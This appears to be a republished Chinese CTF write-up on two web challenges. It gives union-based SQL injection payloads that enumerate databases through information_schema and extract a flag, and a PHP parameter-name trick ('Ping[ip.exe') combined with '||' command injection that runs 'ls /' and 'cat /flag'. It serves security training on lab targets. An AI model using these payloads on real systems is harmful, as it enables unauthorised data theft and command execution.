NSSCTF-Web题目19(数据库注入、文件上传、php非法传参)

目录

[LitCTF 2023]这是什么?SQL !注一下 !

1、题目

2、知识点

3、思路

[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目

5、知识点

6、思路


[LitCTF 2023]这是什么?SQL !注一下 !

1、题目

2、知识点

数据库注入,联合查询

3、思路

首先,题目有提示我们参数为id,而且告诉我们闭合方式

先正常输入看看回显

加上闭合方式,?id=1))))))

结果没有回显,加上注释符

?id=1))))))--+

结果有正常回显,说明当前的闭合方式是正确的

使用联合查询语句 union select 

?id=1)))))) union select 1,2--+

这里有两个回显位置

1、接下来判断库名

?id=1)))))) union select 1,database()--+

得到当前的库名为ctf

2、判断表名,这里要用到group_concat函数,下面会用到concat_ws 或者concat函数,在这里一起说明

group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是将你要查询的那一列数据展示出来

concat:用于连接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)

返回的结果为参数的结果并带有分隔符,

concat_ws:用于连接字符串的,concat('分隔符',str1,str2,str3,...)

这个函数的作用跟上面的concat一样,只不过这个函数可以提前定义好分隔符,不用每个变量后带'分隔符'

判断表名

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+

这里的表只有一个,users

3、判断字段名

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+

得到三个字段:id,username,password

4、判断值,看看有没有flag

得到所有的信息,发现flag是假的

现在的情况说明flag藏在其他库的表里

那怎么查看其他库名呢?

information_schema这个库就存了所有数据库的信息,里面的SCHEMATA表就存了所有库名

5、查找所有库名

?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

接下来就是找库里的表,然后字段名、然后值,步骤跟上面一下

flag藏在ctftraining这个库里

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

得到表名:flag,news,users

语句跟上面的类似,也就改一下值,有哪里不懂的欢迎来问我,我这里直接到最后一步

下面三句都可以得到flag 

?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+

?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+

?id=1)))))) union select 1,flag from ctftraining.flag --+

得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}


[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目

5、知识点

RCE、PHP非法传参

6、思路

这里要我们上传Ping_ip.exe的值,上传后会执行系统命令,ping

1、我们先正常上传看看

结果没有任何反应

抓个包看看

在响应包里我们知道了php的版本为:PHP/7.4.33

这里涉及了一个知识点:php的非法传参:当变量名中出现空格时将被转换为下划线,当PHP版本小于8时,如果参数中出现中括号[,中括号会背转换成下划线_,但是中括号后的非法字符(也就是点和空格)不会被转化为下划线_

即原来我们的参数 Ping_ip.exe 上传后会被转化为 Ping_ip_exe

所以才没有结果,现在我们把_改成[ ,[会被转换成_,但后面的点就不会了

Ping[ip.exe ——> Ping_ip.exe

下面的报错信息没有了,说明我们成功执行了系统命令

接下来我们使用 管道符(||) 进行拼接命令

“||” 是一个管道操作符,它用于在命令行中执行多个命令,当前一个命令执行成功时,才会执行后一个命令。

?Ping[ip.exe=127.0.0.1 || ls /

?Ping[ip.exe=127.0.0.1 || cat /flag

得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/38234.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Vue的MOBA类游戏攻略分享平台

你好呀,我是计算机学姐码农小野!如果有相关需求,可以私信联系我。 开发语言:Java 数据库:MySQL 技术:Java技术、SpringBoot框架、B/S模式、Vue.js 工具:MyEclipse、MySQL 系统展示 首页 用…

lstrip()方法——截掉字符串左边的空格或指定的字符

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 语法参考 lstrip()方法用于截掉字符串左边的空格或指定的字符。lstrip()方法的语法格式如下: str.lstrip([chars]) 参数说明&#xff…

【算法】Merge Sort 合并排序

Merge Sort概述 分而治之算法 递归地将问题分解为多个子问题,直到它们变得简单易解 将解决方案组合起来,解决原有问题 O(n*log(n))运行时间 基于比较的算法的最佳运行时间 一般原则 合并排序: 1. 将数…

【瞎折腾日常】服务器的cpu飙高到1000%了怎么破

一、故障起因 起因是用户反馈系统很卡,我登录普罗米修斯一看,发现docker部署得集群下的一个java应用服务器cpu爆了,直接冲到了1000%以上了,接着就是各种接口超时报警等,赶紧打开对应的服务器查看进程情况,这会使用jstack和top命令定位哪个线程占用的cpu比较大,定位代码问…

椭流线法设计配光器

椭流线法设计配光器 一、设计原理 1、边光原理 边光原理是非成像光学中的一个基础原理,其内容可以表述为:来自光源边缘的光线经过若干有序正则光学曲面后依然落在投射光斑的边缘,而来自光源内部的光线也将落在光斑内部。这里的边缘包含两层…

机械拆装-基于Unity-总体设计

前言 在工业设计和制造领域,零部件的拆装技术是一个重要的应用场景,比如我们在工程训练课程中经历的摩托车发动机拆装课程,是机械类学生的必修课程。虚拟拆装系统模拟和仿真了模型的拆装过程,虽然SolidWorks等机械设计软件能够解决…

性能调优 性能监控

1.影响性能考虑点包括: 数据库、应用程序、中间件(tomcat、nginx)、网络和操作系统等方面。 首先考虑自己的应用属于 CPU密集型 还是 IO密集型 cpu密集型 计算,排序,分组查询,各种算法 IO密集型 网络传输,磁盘读…

大创项目推荐 题目:基于机器视觉opencv的手势检测 手势识别 算法 - 深度学习 卷积神经网络 opencv python

文章目录 1 简介2 传统机器视觉的手势检测2.1 轮廓检测法2.2 算法结果2.3 整体代码实现2.3.1 算法流程 3 深度学习方法做手势识别3.1 经典的卷积神经网络3.2 YOLO系列3.3 SSD3.4 实现步骤3.4.1 数据集3.4.2 图像预处理3.4.3 构建卷积神经网络结构3.4.4 实验训练过程及结果 3.5 …

zabbix报警机制,主动监控

zabbix思路流程 主动监控 默认zabbix使用的是被动监控,主被动监控都是针对被监控主机而言的。被动监控:Server向Agent发起请求,索取监控数据。此种模式常用主动监控:Agent向Server发起连接,向Server汇报 配置web2使用…

STM32智能家居掌上屏实战:从WiFi连接到MQTT通信,打造你的家庭物联网网关

摘要: 本文深入探讨一种基于STM32的智能家居掌上屏设计方案,详细阐述其硬件架构、软件设计以及通信协议等关键技术细节。该方案利用WiFi构建局域网,实现与各类传感器、执行器的便捷交互,并通过TFT彩屏提供直观的控制和数据展示,旨…

[数据库原理]事务

如有错误,欢迎指正!!! 期末考了冲突可串行化

动态顺序表实现通讯录

系列文章目录 【数据结构】顺序表 文章目录 系列文章目录前言一、通讯录的功能要求二、通讯录的代码实现1. 新建文件2. 创建通讯录的结构体3. 对顺序表文件进行修改4. 通讯录具体功能实现4.1. 通讯录的初始化和销毁4.2. 增加联系人信息(尾插)4.3. 查找指…

SpringBoot + 虚拟线程,性能炸裂!

一、什么是虚拟线程 虚拟线程是Java19开始增加的一个特性,和Golang的携程类似,一个其它语言早就提供的、且如此实用且好用的功能,作为一个Java开发者,早就已经望眼欲穿了。 二、虚拟线程和普通线程的区别 “虚拟”线程&#xf…

一些硬件知识(十二)

X电容是接在火线和零线之间,Y电容是接在火零线和地之间。X电容滤除差模干扰,Y电容滤除共模干扰: 高频干扰信号经过X电容后幅度没有变化,相位相差180度: DW01电池管理芯片: M1、M2:这两个为N沟道…

【关于C/C++中的scanf不能使用问题】

方法1:scanf_s 方法2:看见后面的日志了吗 CRT……?在第一行加上#define 日志 方法3:#pragma warning(disable:4996) 4996是我们的报错序号

开发笔记:vue3+ts+vant 卡片数据分页,下拉加载,卡片左滑可删除

效果: 实现 使用vantui组件 van-swipe-cell van-card (商品卡片) 核心代码 const currentPage ref(1) const pageSize ref(4) const totalSize ref(10) const loading ref(false) const finished ref(false) const refreshing ref(…

Git新仓库创建流程

平时需要创建新仓库,老要去查代码特别烦,在此写下流程方便备用. 1.创建新的云仓库 无论使用GitHub还是Gitee,首先要创建一个云仓库,这里就直接用国内的gitee做演示了,githup老挂加速器太烦,偷个懒. 我这里创建的是一个空仓库&…

Nginx主配置文件---Nginx.conf

nginx主配置文件的模块介绍 全局块: 全局块是配置文件从开始到 events 块之间的部分,其中指令的作用域是 Nginx 服务器全局。主要指令包括: user:指定可以运行 Nginx 服务的用户和用户组,只能在全局块配置。例如&…

软考《信息系统运行管理员》-2.2 信息系统运维的组织

2.2 信息系统运维的组织 信息系统运维的任务 数据资源管理 数据收集、数据校验、数据录入、数据处理 软件资源管理 采购、保存、相关文档保管、分发、安装、支持、评价、培训 硬件资源管理 检查、维护、故障处理、更新、修复、扩充 系统安全管理 可用性、完整性、保密性、可控…

USB PD+TYPE -C快充电源中MOSFET选型,USB PD应用市场包含智能手机,平板电脑,笔记本电脑,游戏本,移动硬盘,数码相机,电动工具等传统领域

USB PD全称为USB Power Delivery,是由USB-IF组织制定的一种快速充电协议,也是目前市场非常看好的一种协议,可以支持输出功率高达100W;Type-C是一种接口规范,能够支持传输更大的电流。USB PD应用市场不仅包含智能手机&a…